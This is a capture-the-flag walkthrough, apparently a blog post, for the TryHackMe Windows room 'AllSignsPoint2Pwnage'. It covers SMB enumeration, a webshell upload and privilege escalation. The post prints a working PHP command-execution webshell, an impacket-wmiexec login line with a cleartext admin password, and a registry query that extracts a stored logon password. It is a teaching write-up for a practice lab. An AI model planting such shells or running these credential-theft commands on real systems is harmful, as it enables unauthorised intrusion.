AllSignsPoint2Pwnage is a Windows-based room on TryHackMe that requires the user to enumerate open SMB shares and upload a webshell to get an initial foothold on the target. After that one can find higher-level credentials on the target which can be leveraged to gain an administrator shell and gradually extract the admin flag. This room is great for anyone who’s venturing into Windows pentesting and needs practical experience dealing with vulnerable systems.

0x00: Enumeration

• Started with running a TCP Scan on the target via Nmap.

nmap -sC -sV -p- 10.48.128.241 

Nmap scan report for 10.48.128.241
Host is up (0.039s latency).
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_11-14-20  04:26PM                  173 notice.txt
80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
|_http-title: Simple Slide Show
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
|_http-title: Simple Slide Show
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| http-methods: 
|_  Potentially risky methods: TRACE
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DESKTOP-997GG7D
| Not valid before: 2026-07-08T06:13:45
|_Not valid after:  2027-01-07T06:13:45
|_ssl-date: 2026-07-09T06:17:29+00:00; +2s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: DESKTOP-997GG7D
|   NetBIOS_Domain_Name: DESKTOP-997GG7D
|   NetBIOS_Computer_Name: DESKTOP-997GG7D
|   DNS_Domain_Name: DESKTOP-997GG7D
|   DNS_Computer_Name: DESKTOP-997GG7D
|   Product_Version: 10.0.18362
|_  System_Time: 2026-07-09T06:17:20+00:00
5900/tcp open  vnc           VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     Ultra (17)
|_    VNC Authentication (2)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-time: 
|   date: 2026-07-09T06:17:22
|_  start_date: N/A

• As revealed in the scan output, the target had open FTP and SMB services running. It also had VNC running on port 5900, which is a tool used to remotely control a computer. The target also had an Apache web server running on port 80.
• I visited the webpage and saw a slideshow of several random images.

• I checked the page source and found the following JavaScript code.

• The code here revealed the /content.php file and the /images/ endpoint.
• I visited the /images directory and found the following images that were running on the slideshow.

• Next, I moved to FTP enumeration. I got access to the FTP directory because anonymous login was enabled.

• There was a notice.txt file.

• There was a message left in notice.txt written as follows.

• It mentioned that the images FTP directory was moved to a Windows file share, which more probably than not referred to SMB shares.
• Next, I moved on to SMB enumeration.

0x01: SMB Enumeration

• I used smbclient to list the available shares on the target.

• Here I could see several custom shares such as images$ , Installs$ and Users.
• I first checked the images share and found the following images as I had seen in the /images directory on the webpage. I wondered if we could upload a webshell here and gain an initial foothold.

• I got the PHP reverse shell from PentestMonkey, configured it with my custom IP address and port, and uploaded it to the images SMB share.

• I navigated to the /images endpoint on the webpage and tried running the webshell but it immediately got flagged by Windows Defender and was deleted.
• Next, I tried using a different webshell which executed commands and took the input via GET-based parameters.

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

• I uploaded the shell again to the SMB images share and it worked like a charm!

0x02: Web Shell

• I was logged in as the sign user. I looked for the user flag in the sign user directory.

• The user flag was found in the user_flag.txt file.
• Next, I checked out the Installs share in C:\ directory.

• The following files were found in the directory.

• There were a lot of interesting files to check out here. I viewed the contents of every file, starting with Install Guide.txt .

• I couldn’t figure out how these instructions could be of any use to me, so I moved on to other files.
• I checked the Install_www_and_deploy.bat script and found the following code.

• This seemed like a batch script that was running the infamous PsExec tool by Impacket, authenticating with administrator credentials. Here, I could view the admin password in cleartext, which could be used to gain a high-privilege shell to the target.
• I used Impacket’s WMIExec tool to get a shell on the target. I could have used PsExec, but considering Windows Defender was running on the target, it would have been easily flagged.

impacket-wmiexec Administrator:RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi@10.48.186.208

0x03: Admin Shell

• I also had to find the sign user’s password as per the objectives stated in the room. It took me quite a few lookups on Google till I eventually found a way to get the password from the Windows Registry.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

• I was able to fetch the user's password from the Winlogon registry key.
• Next, I had to find the VNC password. My first instinct was to return to the Installs share as before and look through the ultravnc.ini file.

• As can be seen in the first lines of the file itself, we found the encoded password.
• I took the encoded parts of the password and used this website to decode them. Online VNC Password Decoder (Decryptor) — KeyDecryptor Tool

• I had successfully obtained the VNC password. The only objective that remained was the administrator flag.
• I checked the Desktop folder of the Administrator and found the admin flag in admin_flag.txt .

• And with that, all the flags were obtained, and the room was solved!

I hope you found this write-up useful. Make sure to drop a follow for more such content in the future.

Happy Hacking!